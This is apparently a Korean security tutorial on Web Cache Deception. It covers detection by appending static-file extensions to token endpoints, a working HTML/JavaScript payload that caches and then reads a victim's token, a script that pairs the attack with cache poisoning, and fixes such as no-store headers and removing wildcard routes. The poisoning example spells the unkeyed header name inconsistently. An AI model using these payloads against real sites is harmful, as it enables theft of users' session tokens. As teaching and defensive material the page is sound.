Web Cache Deception
Introduction
Web Cache Deception은 중요 정보를 리턴하는 API에서 해당 정보를 캐시하도록 설정되어 있거나, 처리 방식 미흡함을 이용하여 공격자가 임의로 사용자의 중요 정보를 캐시하고 SOP를 무시하여 정보를 탈취할 수 있는 공격 방법입니다.
만약 아래와 같이 중요한 정보가 Response로 제공되지만 SOP로 인해 보호되고 있는 상태인 경우 공격자가 해당 Response를 핸들링하여 해당 정보를 가져갈 수 없습니다. 물론 CORS 설정이 잘못된 경우 정보를 핸들링하여 가져갈 수 있고, 이는 보통 JSON Hijacking으로 표현합니다. 때때로 어떤 API들은 Response에 중요정보를 담고 있지만, Cache 관련 헤더를 통해 브라우저가 이를 캐시하도록 유도하는 경우가 있습니다.
GET /token HTTP/1.1
HTTP/1.1 200
Cache-Control: private, max-age=3600
{
"token":"abcdfasdfas"
}
이러한 경우 이미 해당 URL의 데이터가 브라우저에 캐시되어 있기 때문에 XMLHttpRequest, $ajax 등으로 호출 시 withCredential을 false로 설정(이는 CORS: * 일 때 SOP를 무시하고 데이터를 가져올 수 있도록 처리하는 방법입니다. [참고/관련내용])하여 쿠키가 붙지 않은 요청이 전송되더라도 캐시된 결과를 리턴하기 떄문에 결과적으로 공격자가 중요정보를 읽을 수 있게 됩니다.
그리고 어떤 API들은 정확한 경로로만 호출할 수 있는게 아닌 wildcard를 사용하여 하위 경로나 다른 확장자로 호출해도 데이터를 리턴하는 경우가 있습니다.
REQ/RES 1
GET /token HTTP/1.1
HTTP/1.1 200
{
"token":"abcdfasdfas"
}
REQ/RES 2
GET /token/abcd HTTP/1.1
HTTP/1.1 200
{
"token":"abcdfasdfas"
}
이렇게 하위 경로나 확장자 등을 영향받지 않고 데이터를 리턴한다면 강제로 캐시를 유도하는 헤더가 없다고 해도 아래와 같이 css/js/jpg 등 브라우저가 캐시하려고 하는 확장자를 이용해서 response 정보를 캐시할 수 있습니다.
GET /token/abcd.jpg HTTP/1.1
HTTP/1.1 200
{
"token":"abcdfasdfas"
}
이미 URL은 중요정보가 포함된 상태로 캐시됬기 떄문에 공격자가 다시 해당 파일을 인증 없는 상태로 재 요청하여 캐시된 결과를 받아올 수 있습니다. 결과적으로 SOP를 우회할 수 있는 방법이 됩니다.
<img src="https://target/token/abcd.jpg" style="width:1px; height:1px;" onload="getToken()">
<script>
function getToken(){
var http = new XMLHttpRequest();
http.onload = function(){
console.log(http.responseText);
};
http.open("GET", "https://target/token/abcd.jpg", true);
http.withCredentials = false;
http.send();
}
</script>
Offensive techniques
Detect
Cache Deception을 식별하려면 당연히 중요정보가 있는 API에서 캐시가 가능한지 테스트가 필요합니다. 기본적으로는 Response 헤더 내 Cache-Control을 통해 강제로 캐시를 유도하는지 체크하고, 별다른 캐시 설정이 없는 경우 이미지, JS 등 리소스 관련 확장자를 이용해 브라우저가 중요정보 페이지를 캐시할 수 있는지 테스트가 필요합니다.
Resource를 이용한 캐시 유도 예시
/token/payload.aif
/token/payload.aiff
/token/payload.au
/token/payload.avi
/token/payload.bin
/token/payload.bmp
/token/payload.cab
/token/payload.carb
/token/payload.cct
/token/payload.cdf
/token/payload.class
/token/payload.css
/token/payload.doc
/token/payload.dcr
/token/payload.dtd
/token/payload.gcf
/token/payload.gff
/token/payload.gif
/token/payload.grv
/token/payload.hdml
/token/payload.hqx
/token/payload.ico
/token/payload.ini
/token/payload.jpeg
/token/payload.jpg
/token/payload.js
/token/payload.mov
/token/payload.mp3
/token/payload.nc
/token/payload.pct
/token/payload.ppc
/token/payload.pws
/token/payload.swa
/token/payload.swf
/token/payload.txt
/token/payload.vbs
/token/payload.w32
/token/payload.wav
/token/payload.wbmp
/token/payload.wml
/token/payload.wmlc
/token/payload.wmls
/token/payload.wmlsc
/token/payload.xsd
/token/payload.zip
Exploitation
중요정보를 캐시할 수 있다면 이제 해당 정보를 img 태그 등으로 캐시한 후 데이터를 읽으면 됩니다. 이미 캐시된 데이터를 읽기 때문에 CORS: * 등 Response 핸들링에 제한이 있더라도 withCredentials
를 false로 주어 이를 무시할 수 있습니다.
<img src="https://target/token/abcd.jpg" style="width:1px; height:1px;" onload="getToken()">
<script>
function getToken(){
var http = new XMLHttpRequest();
http.onload = function(){
console.log(http.responseText);
};
http.open("GET", "https://target/token/abcd.jpg", true);
http.withCredentials = false;
http.send();
}
</script>
Bypass protection
With Cache Poisoning
만약 서비스에 Web Cache Poisoning 취약점이 존재한다면, 이를 통해 Cache Deception을 유도할 수 있습니다. 만약 X-Unkeyd-Input 라는 헤더가 Poisoning의 unkeyd input으로 쓰일 수 있다면, 아래와 같이 해당 헤더를 포함한 요청을 발생시켜 캐시되도록 유도할 수 있습니다. 이 때 일반 페이지로 캐시하면 전역 캐시가 되기 때문에 특정 식별 정보(아래 예시에선 userid)를 파라미터로 붙여주어 Cache busting 처리를 하면 개개인 세션마다 중요정보를 캐시할 수 있습니다.
Req
GET /token/?userid=1234
X-Unkeyd-Input: 1234
Script
function sleep(ms) {
const wakeUpTime = Date.now() + ms;
while (Date.now() < wakeUpTime) {}
}
// Unkeyed Input을 통해 캐시합니다.
var http = new XMLHttpRequest();
http.open("GET", "https://target/token/?userid=1234", true);
http.withCredentials = true;
http.setRequestHeader("X-Unkeyed-Input","1234")
http.send();
// 위 요청이 캐시되기까지 약간 기다립니다.
sleep(3000);
// 캐시된 결과를 읽어옵니다.
var http = new XMLHttpRequest();
http.open("GET", "https://target/token/?userid=1234", true);
http.onload = function(){
console.log(http.responseText);
};
http.withCredentials = false;
http.send();
Defensive techniques
대응방안은 간단합니다. 중요정보를 다루는 API에 대해선 캐시될 여지를 남겨놓지 않는게 좋습니다. 일반적으로 cache-control 헤더를 통해 no-store 등 캐시하지 않도록 설정하면 됩니다.
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
또한 중요정보 API들은 handler 등에서 정확한 URL로만 사용할 수 있도록 wildcard 처리는 제거합니다.
e.g golang-echo - before
e.GET("/token/*", func(c echo.Context) error {
// Logic ...
return c.JSON(http.StatusOK, r)
})
e.g golang-echo - after
e.GET("/token/", func(c echo.Context) error {
// Logic ...
return c.JSON(http.StatusOK, r)
})
Tools
- web cache deception scanner in burpsuite
- https://github.com/PortSwigger/param-miner in burpsuite
- fuzzer in ZAP